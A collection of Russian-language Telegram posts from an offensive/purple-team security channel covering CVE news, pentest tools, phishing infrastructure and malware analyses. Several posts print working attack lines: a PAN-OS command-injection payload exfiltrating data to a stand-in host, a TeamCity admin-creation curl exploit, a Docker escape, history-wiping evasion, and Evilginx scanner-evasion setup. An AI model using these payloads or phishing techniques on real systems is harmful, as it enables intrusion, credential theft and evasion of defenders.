purple_medved | Unsorted

Telegram-канал purple_medved - PurpleBear

3696

Канал о практической ИБ, Pentest, Red Team и Purple Team тестировании. Мы публикуем новости, обзоры инструментов защитников и атакующих, анализируем отчеты APT группировок, разбираем популярные уязвимости, обсуждаем новые CVE'шки и многое другое

Subscribe to a channel

PurpleBear

Всем привет!

В прошлом году на Positive Hack Days 12 мы обсуждали методики фишинговых атак для получения первоначального доступа во время Red Teaming тестирований, в том числе я рассказывал про использование в качестве SMTP серверов для отправки фишинговых сообщений - серверов различных сервисов, предоставляющих услуги почтового маркетинга - Mailgun, Sendgrid, Sendinblue и пр. В комментариях под этим видео, я случайно увидел вопрос и абсолютно правильный ответ (на скриншоте), который мне просто хотелось бы немного дополнить в этой заметке.

Подход крупных почтовых провайдеров относительно средств обеспечения безопасности и конфигурации спам-фильтров уже давно не ограничен проверкой категоризации доменного имени и правильности настроек механизмов безопасности почтового сервера отправителя и включает в себя огромное количество критериев для оценки "благонадежности". Начиная от количества hop'ов в цепочке SMTP relay серверов, семантического анализа темы и содержания текста писем, объема содержимого, наличия ссылок и html тэгов, заканчивая частотой отправки и количеством исходящей и входящей корреспонденции для конкретного почтового домена и использования LLM для подготовки содержания сообщений. Причем эти критерии держатся в секрете и постоянно изменяются и оптимизируются почтовыми провайдерами.

Во времена, когда Office365 еще был актуальным почтовым решением для компаний в нашей стране, мы использовали скрипт от mgeeky в качестве линтера для обхода спам-фильтров Microsoft, который включает 105+ проверок спам-фильтров по заголовкам + phishing-HTML-linter.py для содержимого на английском языке. Но даже тогда вероятность попадания в спам зависела от фаз луны случайности🎲, потому что для одних получателей при прочих равных условиях письма прилетали в папку inbox, а для других в spam. Причинами такого поведения, основываясь на предположениях могли быть индивидуальные предпочтения/реакции конкретных пользователей на конкретные почтовые сообщения. Кстати, подобный подход реализован в Яндекс360👍

Таким образом, использование Mailgun, Sendgrid и прочих тоже не гарантирует доставку в inbox, но по статистике повышает шансы, по сравнению с поднятым самостоятельно sendmail/exim/postfix c настроенными SPF/DKIM/DMARC

PS: Спасибо авторам ответа и вопроса!

Читать полностью…

PurpleBear

Всем привет!
Опубликовали запись эфира Код ИБ Безопасная среда - Как использовать Red, Blue и Purple team для улучшения кибербезопасности.
На котором мы с коллегами по отрасли обсуждали наступательную кибербезопасность и перспективы развития Red/Purple Teaming, разницу в подходах для внутренних и внешних команд, травили байки и многое другое😎

00:00
Вступление
00:27 Различия между внешними и внутренними пентестами
04:02 Преимущества внутренних пентестов
10:34 Роль внутренних отделов исследований
13:44 Работа в сфере информационной безопасности
20:34 Purple Team и их роли на рынке
28:15 Использование Deception для защиты от атак
33:14 Использование Deception в практике пентестеров
39:49 Примеры использования Deception в пентесте
41:37 Подходы к управлению командами
48:34 Примеры использования новых технологий
53:58 Роль человека в информационной безопасности
56:48 Социальная инженерия и проникновение в компании
01:01:50 Физическое проникновение в здания и использование беспроводных технологий
01:10:49 Использование радиоуправляемых машинок для проникновения в здания
01:11:26 Пентестинг
01:18:22 Влияние корпоративной культуры на эффективность работы
01:21:10 Автоматизация пентестинга
01:24:53 Влияние подмены заголовков на автоматизацию
01:26:45 Безопасность и удобство
01:30:52 Сегментация и мониторинг
01:39:15 Наступательная кибербезопасность
01:41:37 Автоматизация и отчеты
01:47:20 Бизнес-риски и недопустимые события
01:53:06 Блокировка сервисов и использование альтернативных методов
01:55:17 Использование систем удаленного доступа
01:57:43 Вопросы о безопасности и использовании ресурсов
02:00:44 Различия между пентестом и Red Team
02:03:13 Использование языковых моделей и распознавание фейков
Приятного просмотра!

Читать полностью…

PurpleBear

Детали очередной RCE уязвимости CVE-2024-3400 (оценка по CVSS=10.0) максимально высокого уровня критичности были опубликованы на прошлой неделе. На этот раз отличился Palo Alto Networks - один из мировых лидеров в производстве сетевого оборудования. Эксплуатация 0day RCE уязвимости SSLVPN-решения GlobalProtect Gateway/Portal PAN-OS для получения первоначального доступа в рамках вредоносной кампании Operation MidnightEclipse была обнаружена исследователями из Volexity.

Эксплуатация цепочки уязвимостей позволяет удалённому не аутентифицированному злоумышленнику получить RCE:

✅ Уязвимость Arbitrary File Write позволяет писать в директорию с логами телеметрии /opt/panlogs/tmp/device_telemetry/ с помощью Path Traversal в значении Cookie

Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}x1.outboundhost.com`;

✅ Уязвимость Command injection в функциональности кастомной библиотеки pansys.py, которая использует curl для отправки телеметрии с устройства по cron, с использованием модуля subprocess.Popen()
✅ Байпас пробелов с помощью IFS (Internal Field Separator)

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: target.com
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}attacker.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


В России согласно данным Shodan всего 256 хостов пользователей PAN-OS😎, которым необходимо обновиться ASAP

⚙️ POC: https://github.com/0x0d3ad/CVE-2024-3400
🔎 Shodan: http.html_hash:-1303565546
🔎 Censys: services.http.response.body_hash="sha1:28f1cf539f855fff3400f6199f8912908f51e1e1
🔎 Nuclei template: https://github.com/projectdiscovery/nuclei-templates/blob/b8bbbc5ed5ddbff87fbde649bd2f8a9a576b90c3/http/cves/2024/CVE-2024-3400.yaml
🪲 Уязвимые версии ПО: PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1
Рекомендации: Патчи уже доступны

Читать полностью…

PurpleBear

В этой заметке хочу рассказать про новую платформу Xintra - APT Emulation Labs, которая позиционируется как площадка для прокачки навыков IR against APT-level threats.
Я уже несколько раз писал про платформы для обучения и совершенствования навыков защитников, поэтому еще одна точно лишний не будет😎

➕На данный момент площадка представляет собой лабораторное окружение в веб-интерфейсе с 3 лабами имитирующими Incident Response кейсы по отработке различных навыков на примере атак APT-29🐻, APT-10🐼, AlphV (BlackCat)🐈‍⬛
➕ Каждая лаба состоит из 40-60 вопросов, на которые предстоит ответить при расследовании инцидента
➕ Со слов разработчиков на решение каждой лабы потребуется 30-40 часов для опытных аналитиков SOC и 60-70 часов для новичков

➖7 дневная триалка только после привязки карты
➖минимальная стоимость подписки - 45$/мес

Таким образом, платформ для прокачки навыков защитников становится больше и это радует👍 А если хочется сначала понять зайдет-не зайдет рекомендую посмотреть на бесплатную defbox.io

Читать полностью…

PurpleBear

REDIScovering HeadCrab - A Technical Analysis of a Novel Malware and the Mind Behind It

Так звучит название отличного доклада про анализ малвари HeadCrab от Aqua Security на BlackHat EU 2023. Содержание представляет собой детальное исследование HeadCrab, который использовался для атак на сервера Redis c целью майнинга криптовалюты.

🔴 Initial Assess
В качестве вектора для получения первоначального доступа злоумышленники использовали технику SLAVEOF/REPLICAOF из доклада крутого ресерчера Павла Топоркова aka Paul Axe на ZeroNights 2018❤️ Редис имеет функциональность, которая заключается в создании копии данных на другом сервере, с помощью redis-cli replicaof <master_host> <master_port>. Так злодей, который получил доступ к серверу без protected mode, с помощью подбора слабых учетных данных, имеет возможность подключить его как slave (стало не политкорректно с версии Redis 5.0) т.е replica к своему мастер-серверу и получить таким образом возможность RCE
🔴 Exploitation
Далее на атакуемый сервер устанавливается Redis модуль - Loader.so в версии HeadCrab2.0, который загружает основную малварь HeadCrab.so в memfd (Memory File Descriptor) т.е в RAM, не оставляю следов на диске
🔴 C2/Defense Evasion
Загруженный основной модуль перезаписывает дефолтные команды Redis overwrite_command ("replicaof", qword_245788, 0LL, 0LL, invalid_command_err_3) чтобы затруднить идентификацию и избавиться от конкурентов
🔴 Post Exploitation
Далее устанавливается XMRig для майнинга криптовалюты Monero
🔴 Persistence/Defense Evasion
☑️ Создаются переменные окружения для перетирания shell history - HISTFILE=/dev/null
☑️ Удаление логов, при этом интересно, что логи не просто сносятся, а изменяется размер файлов - truncate ("/var/log/redis/redis.log", 0LL)
☑️ Сокрытие конфигов в атрибутах, вместо создания файлов на диске - return setxattr(path, "trusted.cfg", v5, 0x18uLL, 0)
☑️ Исполнение Lua скриптов в памяти
☑️ Использование ld.so как LOTL лоадер
☑️ Использование Files Timestomping, для затруднения расследования инцидента
☑️ Использование inotify для затруднения расследования инцидента (inotify для "proc/%d/stat", например для top просто отключает майнер, а "dev/pts/%s" для pty сессий ssh)
🔴 Credential Access/Defense Evasion
Далее таким же образом загружается малварь ice9j для сбора кредов во время аутентификации для SSHd, FTPd, Maild и SQLd (предположительно в разработке) с использованием различных техник от ptrace до манипуляций с /proc/$pid/mem
Использование anti-debugging техник и fanotify для затруднения расследования инцидента

Интересный факт, что исследователи общались с автором малвари, который(ая) представился ice9 по электронной почте, который охотно взаимодействовал и даже поблагодарил ресерчеров за проявленный интерес "Thanks, you are the first one who wrote to this email"🤪

PS: Желаю всем удачного окончания недели и отличных выходных!

Читать полностью…

PurpleBear

В продолжении темы о новых возможностях Nuclei v3.2.0 от Project Discovery хотелось бы рассказать о фиче, которой долгое время не хватало этому замечательному инструменту, а именно о возможности фаззинга🔥

✅ Теперь Nuclei умеет фаззить различные компоненты http запроса, а не только параметры (эту возможность добавили еще в Nuclei v2.8.0)
part: query - Query Fuzzing
part: path - Path Fuzzing
part: header - Header Fuzzing
part: cookie - Cookie Fuzzing
part: body - Body Fuzzing


Query, Path, Header, Cookie представляют собой key/value значения, а Body может быть в различных форматах: JSON, XML, Form, multipart-form data, binary. В binary формате ключ всегда будет value, а остальное содержание body - само значение, например value \x08\x96\x01\x12\x07\x74

✅ В шаблонах можно задавать правила, каким образом фаззить эти значения:
prefix - Add payload as a prefix to the value
postfix - Add payload as a postfix to the value
replace - Replace the value with payload
infix - Add payload as an infix to the value
replace-regex - Replace the value with payload using regex


✅ На вход Nuclei принимает:
nuclei -l target_project.burp -im burp
-im, -input-mode string - mode of input file (list, burp, jsonl, yaml, openapi, swagger)


✅ Фильтры, по сути это те же самые Matchers, только которые применяются для проверки условий для выполнения шаблонов:
- filters:
- type: dsl
dsl:
- method == POST
- len(body) > 0
condition: and


Примеры шаблонов для фаззинга Error Based SQLi in Body и Host Header Injection можно посмотреть в блоге Project Discovery. Happy Fuzzing!

Читать полностью…

PurpleBear

Две недели назад вышел новый релиз Nuclei v3.2.0 от Project Discovery.

В новой версии добавили расширенную функциональность сканов с учетными данными, поддерживающую различные схемы аутентификации

nuclei -u http://example.com/ -secret-file example_auth.yaml


Authentication Types:
✅ Static Authentication - статичные креды (username и password) для Basic Auth, API Key, Bearer Token, Custom Header, Cookie
✅ Dynamic Authentication - OAuth2.0, когда статичные креды (username и password) используются для получения Session Tokens/Cookie, Custom Header

Secret file содержит учетные данные для аутентификации для ресурсов по совпадению значений domains и domains-regex, без необходимости изменять уже существующие шаблоны

static:
# 1. Basic Auth based auth
- type: basicauth
domains:
- scanme.sh
username: test
password: test
# 2. Bearer Token based auth
- type: bearertoken
domains-regex:
- .*scanme.sh
- .*example.com
token: test
dynamic:
- template: /path/to/wordpress-login.yaml
variables:
- name: username
value: test
- name: password
value: test
type: cookie
domains:
- blog.example.com
cookies:
- raw: "{{wp-global-cookie}}"
- raw: "{{wp-admin-cookie}}"
- raw: "{{wp-plugin-cookie}}"


В следующих релизах авторы планируют также добавить интеграцию с HashiCorp Vault, AWS Secrets Manager и 1Password

Читать полностью…

PurpleBear

Исследователи из WIZ сделали небольшой онлайн CTF "Kubernetes LAN Party" на тему Kubernetes Security. Он довольно обширно и нетривиально покрывает вопросы сетевой безопасности в Кубере. Разведка в скомпропетированном Pod, обход Istio и Lateral Movement с помощью Kyverno – всё это есть в этом CTF. Ничего дополнительно устанавливать не требуется, терминал доступен прямо из браузера.

Сами мы уже прошли челлендж, и однозначно рекомендуем пройти его всем, кто так или иначе имеет дело с безопасностью контейнеров и Kubernetes.

P.S – Хотите увидеть прохождение данного CTF от нас?

Читать полностью…

PurpleBear

Mail in the Middle – A tool to automate spear phishing campaigns

Интересную технику и инструмент опубликовали исследователи из команды SensePost by Orange Cyberdefense в конце февраля. Суть Mail-in-the-Middle заключается в получении почтовых сообщений, в которых отправитель допустил опечатку в доменном имени почтового сервера получателя:

✅ Регистрируются похожие домены, с возможными опечатками
✅ Создаются DNS MX записи для этих доменов
✅ Создаются правила Catch-All для почтового ящика, на который перенаправляются все входящие письма
✅ Ждем когда кто-нибудь отправит письмо с опечаткой в адресе отправителя🤞

Для автоматизации "обработки корреспонденции"можно использовать инструмент Maitm:

✅ Скрипт собирает полученную почту с почтовых серверов по SMTP/IMAP
✅ Фильтрует сообщения по значению Subject, например, которые необходимо переслать по правильному адресу с добавлением "полезного содержания" (injecting tracking URLs, UNC paths and attachments)
✅ Отправляет уведомления в Discord и Teams
✅ Собирает логи в формате %(asctime)s - %(name)s - %(levelname)s - %(message)s

Авторы в блоге приводят свою статистику использования скрипта - 5% полезной информации среди спама и прочего мусора. По моему мнению ждать чудес от этой техники не стоит, так как большинство людей все таки используют список контактов в почтовых клиентах или ответить/переслать или copy/paste. Но тем не менее, обычно домены все равно куплены для фишинга на проектах предполагающих социалку, настроить правила и запустить утилиту не составит труда.

#phishing #Maitm

Читать полностью…

PurpleBear

Давно уже мы не обсуждали новые уязвимости, поэтому сегодня у нас свеженькая RCE - CVE-2024-27198 (оценка по CVSS=9.8) и path traversal - CVE-2024-27199 (оценка по CVSS=7.3) в TeamCity CI/CD от JetBrains

Думаю, что прямо из названия TeamCity CI/CD в целом уже понятно назначение данного продукта, но если нужны детали в качестве предисловия, то можно посмотреть по ссылке на прошлый обзор критичной баги в этом решении.

Позавчера в блоге Rapid7 были опубликованы технические детали эксплуатации этих уязвимостей:

CVE-2024-27198
- байпас аутентификации из-за недостатка логики проверки аутентификации для методов класса jetbrains.buildServer.controllers.BaseController библиотеки web-openapi.jar. Эксплуатация которых позволяет получить возможность доступа к приложению с правами администратора с помощью создания новой учетки или нового значения access token для существующей учетной записи. Уязвимость возникает при обращении к несуществующей странице c параметром запроса jsp=/app/rest/users;.jsp

curl -ik http://target.com/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"


CVE-2024-27199 - тоже про байпас аутентификации, но при обращении к нескольким менее критичным ручкам /res, /update, /.well-known/acme-challenge. При этом запрос с path traversal к этим эндпоинтам, на примере /res/../admin/diagnostic.jsp раскрывает некоторую информацию. А /res/../app/https/settings/uploadCertificate позволяет изменить tls сертификат и https порт веб-сервера /res/../app/https/settings/setPort.
Полный список ручек можно найти в блоге авторов.

⚙️ POC: https://github.com/yoryio/CVE-2024-27198, модуль metasploit https://github.com/rapid7/metasploit-framework/pull/18922
🔎 Sigma правила: https://github.com/rapid7/Rapid7-Labs/blob/main/Sigma/path_traversal_attacks_CVE_2024_27199.yml
🪲 Уязвимые версии ПО: TeamCity до версии 2023.11.4
Рекомендации: Патч уже доступен, необходимо обновиться до версии 2023.11.4

#TeamCity #RCE #CVE-2024-27198

Читать полностью…

PurpleBear

Всем привет! Доступна запись эфира AM Live - Как натренировать кибербезопасность в формате Purple Teaming?
Приятного просмотра!

Читать полностью…

PurpleBear

Webhooks SSRF Boomerang

Сегодня хочется немного рассказать про атаки на функциональность Webhooks aka User Generated Callbacks. По сути современные веб-приложения невозможно представить без функциональности совершения каких-либо действий при наступлении определенных событий.

Согласно информации из википедии, вебхуки обычно запускаются каким-либо событием, например, отправкой кода в репозиторий или комментарием, публикуемым в блоге. Когда происходит это событие, исходный сайт отправляет HTTP-запрос на URL-адрес, указанный для вебхука. Пользователи могут настроить их так, чтобы события на одном сайте вызывали действия на другом.
Таким образом, вебхуки буквально окружают нас везде, при заказах товаров на маркетплейсах😎, интеграциях CI/CD, k8s, даже оповещения в любимые чатики в месенджерах реализовано с помощью этой технологии.

На этом закончим с теорией и перейдем к практике. Суть атаки заключается в возможности осуществить редирект вебхука для эксплуатации SSRF от имени приложения отправившего этот запрос. Но есть сложность в том, что большинство вебхуков это POST/PUT запросы, а для SSRF нам необходимо отправить GET и для этого можно использовать HTTP 303 See Other, при котором веб-сервер автоматически поменяет метод и отправит GET запрос при перенаправлении.

Данная атака применима в кейсах, когда тестируемый сервис позволяет регистрировать пользовательские вебхуки на веб-сервере под контролем атакующего с доступом к логам. По ссылке доклад с примером с баг-баунти программы Docker Hub, с раскрытием ключей AWS IMDS EKS инфраструктуры при проведении этой атаки.

Читать полностью…

PurpleBear

Sub-sub-subdomain enumeration

Достаточно часто при проведении комплексных пентестов стоит задача пробиться во внутреннюю инфраструктуру со "внешнего периметра", поэтому приходится искать нехоженые тропы точки входа через веб на богом забытых сабдоменах 3-4-5😜 уровней. Особенно это актуально для компаний на высоком уровне зрелости, когда внешние активы постоянно сканируются внутренними командами и баг хантерами.

Достаточно часто поиск подобных саб-саб-сабдоменов приносит низковесящие плоды быстрый захек веба, про который все уже забыли много лет назад и он никому не нужен 😂 Поиск таких активов, в принципе ничем не отличается от стандартного поиска сабдоменов.

Я обычно использую пайплайн из следующих инструментов:
https://github.com/trickest/dsieve - для генерации списка для 3-го и тд уровней по списку найденных ранее сабдоменов
https://github.com/trickest/wordlists/tree/main/inventory/levels - словари для перебора возможных вариантов для следующих уровней
https://github.com/Josue87/gotator - создание словарей с пермутацией для перебора
https://github.com/d3mondev/puredns - для резолва получившегося списка
https://github.com/projectdiscovery/httpx - для поиска веба
https://github.com/sensepost/gowitness - для скриншотов
https://portswigger.net/burp/dastardly - для поиска XSS, чтобы добавить в отчет до кучи🤪

На выходе получается список, который можно уже смотреть вручную или с использованием другой автоматизации

Читать полностью…

PurpleBear

Всем привет!
Запись моего выступления Purple Teaming - Взаимодействие, а не противодействие на KazHackStan 2023 доступна на youtube.
Лайк, подписка, колокольчик 🙏 Приятного просмотра!

Читать полностью…

PurpleBear

Akto - API security testing platform

В этой заметке речь пойдет про тестирование API c помощью Akto - платформы, с открытым исходным кодом, позволяющая автоматизировать большое количество проверок API по OWASP-10. Инструмент представляет собой сканер с приятным веб интерфейсом, запущенный с помощью docker compose и включающий более 150 шаблонов для проверки различных уязвимостей: XSS, SSRF, IDOR, Mass Assignment, Command Injection, SSTI, LFI, CRLF Injection и других.

Инструмент позволяет решать следующие задачи:

✅ API Discovery - инвентаризация API ручек с помощью расширения для Burp Suite, Postman, Har для понимания Attack Surface, отслеживания изменений и появления новых эндпоинтов
✅ Sensitive Data Exposure - автоматизированный поиск чувствительных данных в ответах по дефолтным и кастомным фильтрам (email, номер телефона, платежные данные и пр.)
✅ Custom YAML tests - возможность создания кастомных YAML шаблонов проверок для сканера, с детальной документацией и примерами
✅ Automated Testing - автоматизированное сканирование по расписанию
✅ Reporting/Alerting - генерация красивых отчетов (pdf, csv), алерты о найденных уязвимостях с помощью webhooks в чатики в ваших любимых мессенджерах (в платной версии)
✅ CI/CD Integration - интеграция с CI/CD платформами (в платной версии)
✅ K8s, AWS, GСP API connectors (в платной версии)

Таким образом, даже с учетом ограничений в бесплатной версии (50 API endpoints/month, 2,500 tests/month, 10 custom tests) инструмент предоставляет хорошие возможности автоматизации тестирования API веб-приложений.

#akto #api_testing #bug_bounty

Читать полностью…

PurpleBear

Purple Teaming - как обеспечить эффективное взаимодействие

В процессе проведения Purple Teaming очень важно обеспечить эффективное взаимодействие участников красной и синей команды в режиме реального времени. Например, можно во время реализации тест-кейсов пригласить всех участников в большую переговорку, расположить в разных углах ринга стола, а самим сидеть с важным видом с секундомером в руках пытаясь фиксировать время для оценки эффективности команды защитников по ряду ключевых критериев.

Эти критерии - MTTD (Mean Time to Detect), MTTI (Mean Time to Investigate/Identify), MTTR (Mean Time to Respond) являются ключевыми KPI метриками, которые необходимо оптимизировать по результатам проекта.

Но к сожалению, на практике этот способ имеет ряд серьезных недостатков, начиная с того что просто не всегда существует возможность собрать всех причастных в рамках одной географической локации, особенно актуально для внешних компаний и SOC'ов на аутсорсе, заканчивая тем, что существует вероятность, что к концу дня эти люди просто подерутся между собой🤪 Тоже самое касается конф колов, это только с виду кажется нормальным, когда люди сидят несколько часов, в основном в тишине с включенными камерами😎 Кто-нибудь обязательно забудет включить mute, захочет перекусить, продемонстрировать своего кота/собакена, встретить курьера, горячо поприветствовать соседа с перфоратором😂 и прочие моменты.

Поэтому в своей практике мы обычно используем чатики и инструмент с открытым исходным кодом - VECTR. Это фреймворк от SecurityRiskAdvisors созданный специально для проведения Purple Teaming проектов, который позволяет обеспечить максимально комфортное и эффективное взаимодействие.

VECTR
представляет собой веб-интерфейс в котором одновременно работают участники красной и синей команды, трекают время и результаты по каждому тест-кейсу. По итогу получается красивый очет с таймлайном проведенных работ, который можно смапить на heatmap по MITRE и многое другое.

Я достаточно подробно в формате демонстрации рассказывал про возможности и преимущества использования VECTR в рамках своего доклада Purple Teaming - Взаимодействие, а не противодействие в прошлом году. А в следующих постах из этой серии планирую поделиться мыслями о том, чего еще не хватает в этом замечательном инструменте и какая функциональность требует самостоятельной доработки и кастомизации.

#vectr #purple_teaming

Читать полностью…

PurpleBear

В продолжении темы про подготовку Red Teaming инфраструктуры для проведения социо-технических этапов тестирований aka фишинга для получения первоначального доступа, обычно используется Evilgophish от fin3ss3g0d.

По сути это форк оригинальных Evilginx и Gophish с расширенной функциональностью, о котором я уже неоднократно писал и рассказывал. Этот инструмент прямо из коробки позволяет настроить использование Cloudflare Turnstile в качестве эффективного решения для противодействия ботам и автоматизированным сканерам, которое в отличии от классических решений CAPTCHA с выбором картинок и набором текста совсем не влияет на UX😎

В блоге автора подробно описано каким образом настроить Cloudflare Turnstile:
✅ Необходимо просто зарегать учетку Cloudflare (бесплатный уровень подписки), добавить домен фишинговой страницы и скопировать ключи для использования сервиса

./evilginx3 -feed -g ../gophish/gophish.db -turnstile <PUBLIC_KEY>:<PRIVATE_KEY>

✅ Поменять дизайн дефолтных страниц с антибот-проверкой evilginx3/templates/turnstile.html и 403 Forbidden evilginx3/templates/forbidden.html, LLM справится с этой задачей за 3 секунды🙈
✅ Let's go phishing🎣

К тому же злоумышленники уже давно используют эту технологию, поэтому по моему мнению очень важно проверить во время тестирований насколько используемые средства защиты и процессы в вашей организации позволяют противостоять подобным угрозам на практике.

#phishing #evilgophish #cloudflare_turnstile

Читать полностью…

PurpleBear

По моему мнению, Threat Intelligence - это неотъемлемый этап подготовки для проведения Red/Purple Teaming тестирований на проникновение. Согласно нашей методологии, TI аналитика используется для моделирования угроз, подготовки актуальных сценариев, планирования векторов, создания атакующей инфраструктуры и прочего. Да и в целом бывает просто интересно читать про TTPs некоторых APT группировок😎

Поэтому, я всегда в поиске новых ресурсов агрегирующих подобную аналитику в структурированном виде и сегодня хочу немного рассказать про площадку Cloud Threat Landscape от Wiz Research

Это бесплатная база знаний, которая включает:
✅ Incidents
Информацию о различных инцидентах по категориям, со ссылками на отчеты
✅ Actors
Поиск по группировкам атакующих, которых удается атрибутировать🙈 Кстати, меня всегда особенно веселит, когда разные вендоры дают одним и тем же APT альтернативные названия, типа APT31 (Mandiant) aka Judgment Panda (CrowdStrike), Zirconium (Microsoft), TEMP.Avengers (Symantec), Bronze Vinewood (Secureworks), Violet Typhoon (MS) Мне иногда кажется, что они просто используют рандом, как Docker default container names😄
✅ Techniques
Используемые техники по MITRE
✅ Targeted Technologies
Атакуемые технологии. Список далеко не полный и нуждается в доработке по формату и содержанию, но мне кажется именно чего-то подобного на данный момент не хватает классической MITRE

Таким образом, данный ресурс в совокупности с другими инструментами можно использовать в арсенале инструментов TI для атакующих

Читать полностью…

PurpleBear

ATT&CK Workbench

Во время подготовки тест-кейсов для проведения Purple Teaming сценариев обычно за основу берется актуальная версия матрицы MITRE ATT&CK. И на ее базе формируются тест-кейсы для актуальных техник в зависимости от выбранного сценария и портрета потенциальных злоумышленников. Но проблема в том, что оригинальная матрица обновляется всего дважды в год и содержит далеко не все актуальные TTPs, которые используют киберзлодеи. К тому же каждая Red/Purple команда проводит собственные исследования, с целью поиска новых техник и кастомизации существующих процедур и инструментов, которые потом используются на проектах и публикуются в формате статей, докладов, заметок в блогах.

Эта база знаний обычно ведется на git, в вики-системах, тикет-трекерах, общих чатиках, личных заметках и на салфетках из баров. Такой подход не очень удобен, так как при планировании сценариев хочется иметь под рукой всю необходимую информацию в привычном формате MITRE ATT&CK

Поэтому, мы в своей практике используем ATT&CK Workbench - инструмент с открытым исходным кодом от MITRE. Он представляет собой self-hosted базу знаний, которую мы регулярно самостоятельно обновляем и дополняем новыми техниками и процедурами на основе CTI аналитики и собственных исследований. По сути это приложение на Node.js, которое позволяет в веб-интерфейсе взаимодействовать с кастомной версией матрицы MITRE ATT&CK, функциональность которого включает:

✅ Collection Indexes - возможность импорта всех данных из публичной версии MITRE ATT&CK
✅ REST API для автоматизации и интеграции с другими инструментами
ATT&CK Navigator - интеграция с этим инструментом позволяет делится информацией о новых техниках с аналитиками SOC в привычном веб-интерфейсе в рамках оценки покрытия, планирования сценариев и разработки/оптимизации правил обнаружения и реагирования

Более подробно об ATT&CK Workbench и других используемых нами инструментах я рассказывал в докладе Purple Teaming - Взаимодействие, а не противодействие на конференции KazHackStan2023💜

#attack-workbench #purple_teaming

Читать полностью…

PurpleBear

Evilginx 3.3 - Go & Phish

Буквально вчера вышла новая версия Evilginx 3.3 с интеграцией GoPhish от автора. Я уже неоднократно писал и рассказывал публично об этих незаменимых инструментах, без которых уже фактически сложно представить проведение любой фишинговой компании в рамках получения первоначального доступа на Red Team проектах. Обычно мы использовали Evilgophish, который в шутку называли плодом внебрачной любви крепкой дружбы Evilginx + GoPhish, поэтому мне очень интересно посмотреть официальную интеграцию от Kuba Gretzky

Changelog:
✅ Feature: Added support to load custom TLS certificates
Теперь можно удобно подгружать свои TLS сертификаты, а не только использовать LetsEncrypt с помощью ACME CertMagic

config autocert <on/off>


✅ Feature: Added ability to inject force_post POST parameters into JSON content body
Детали и кейс с примером в yudasm/bypassing-windows-hello-for-business-for-phishing-181f2271dc02">этом блоге

✅ Feature: Evilginx will now properly recognize origin IP for requests coming from behind a reverse proxy (nginx/apache2/сaddy/etc)
В случае, если вы используете reverse proxy в качестве редиректоров, теперь Evilginx умеет грамотно парсить заголовки: X-Forwarded-For, X-Real-IP, X-Client-IP, Connecting-IP, True-Client-IP, Client-IP

✅ Fixes
Различные фиксы, в том числе фикс байпаса защиты от сканеров

#phishing #mfa_bypass #evilginx #gophish

Читать полностью…

PurpleBear

Обычно во время проведения Purple Teaming в инфраструктуре Kubernetes мы руководствуемся Kubernetes Threat Matrix или Threat Matrix for Kubernetes для подготовки тест-кейсов в рамках релевантных сценариев. Но всегда хочется большего, чтобы не просто отрабатывать существующие публичные техники, а каждый раз немного удивлять SOC используя творческий подход😜 Но подобные сценарии обычно требуют времени на исследования и подготовку. Поэтому сегодня хочу порекомендовать новый доклад от крутого исследователя в области безопасности k8s - Rory McCune - Beyond The Surface - Exploring Attacker Persistence Strategies in Kubernetes.

Содержание доклада представляет собой практически готовый сценарий для Purple Teaming:

Вводные:
✅ Предположим что злоумышленники с помощью фишинга, подкупа, угроз или шантажа получили доступ к кредам админа продового кластера Kubernetes
Задачи:
✅ В течение ограниченного количества времени провести разведку, закрепиться в кластере перед началом пост-эксплуатации

Тест-кейсы:
Initial - Получить доступ к ноде с помощью kubectl debug
Persistence - Добавить authorized_keys для ssh доступа на ноду
C2/Persistence - Tailscale mesh VPN (возможны вариации с использованием ZeroTier, Hamachi, Nebula) детальные инструкции в блоге автора
Execution - containerd namespaces

ctr namespase create total_legit
ctr -n total_legit images pull not_evil:latest
ctr -n total_legit run --net-host -d --mount type=bind,src=/,dst=host,options=rbind:ro not_evil:latest definitely_not_evil
ctr -n total_legit task exec --exec-id definitely_not_evil -t definitely_not_evil /bin/bash

Execution - static pods
Evasion/Persistence - Использование CSR (Client Signing Request) API позволяет создать новые креды для любого пользователя с правами Node/Proxy Rights с помощью инструмента автора - teisteanas
Evasion/Execution - Использование kublet API с правами этого пользователя позволяет байпасить Audit Log, Admission Controllers
Recommendations

Огонек, если есть сомнения что SOC вашей компании/заказчика готов к такому сценарию🔥

#purple_teaming #k8s

Читать полностью…

PurpleBear

New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence

Отчет с таким названием от исследователей из Cado Security лежал у меня в бэклоге почти две недели дожидаясь своего часа⏰ Содержание отчета представляет собой вполне детальный разбор кампании нацеленной на эксплуатацию RCE-уязвимости CVE-2022-26134 в Confluence и мисконфигов Docker Engine API на tcp/2375, Apache Hadoop YARN API на tcp/8088 и Redis на tcp/6379 с целью запуска майнеров Monero - XMRig

➡️ Вектор атаки:
☑️ Эксплуатация CVE-2022-26134 в Confluence и мисконфига Docker Engine API с классическим побегом из контейнера:
docker -H <target-ip>:2375 run -v /:/mnt --rm -it alpine:latest chroot /mnt sh
☑️ Далее не менее классическая схема: bash скрипт с помощью сron связывается с С2, тащит ELF бинари 64-bit Golang и необходимый софт, в том числе сетевые сканнеры masscan, zgrab2, pnscan для поиска Hadoop YARN, Redis
☑️ Установка XMRig для майнинга криптовалюты

В целом ничего примечательного, за исключением попыток еще более ослабить защищенность системы (weakening) и затруднить мероприятия по форензике.
🤔Из интересного:
☑️ Способ избавиться от .bash_history c помощью shopt (shell options), при этом сама команда на перетирание тоже не остается в history после перезапуска шелла

shopt -ou history 2>/dev/null 1>/dev/null

☑️ Использование в качестве С2 - open source инструмента Platypus - modern multiple reverse shell sessions/clients manager via terminal written in go
☑️ Использование сканера - pnscan - Peter's Parallel Network Scanner🤷‍♂️ (c) 2002-2020 by Peter Eriksson, который судя по README предпочитает крепкие напитки😎

If you like it then I'd gladly accept a nice bottle of whisky,
some free beer or even just a "Thank you!" email :-)

Читать полностью…

PurpleBear

Nemesis - offensive data enrichment pipeline and operator support system

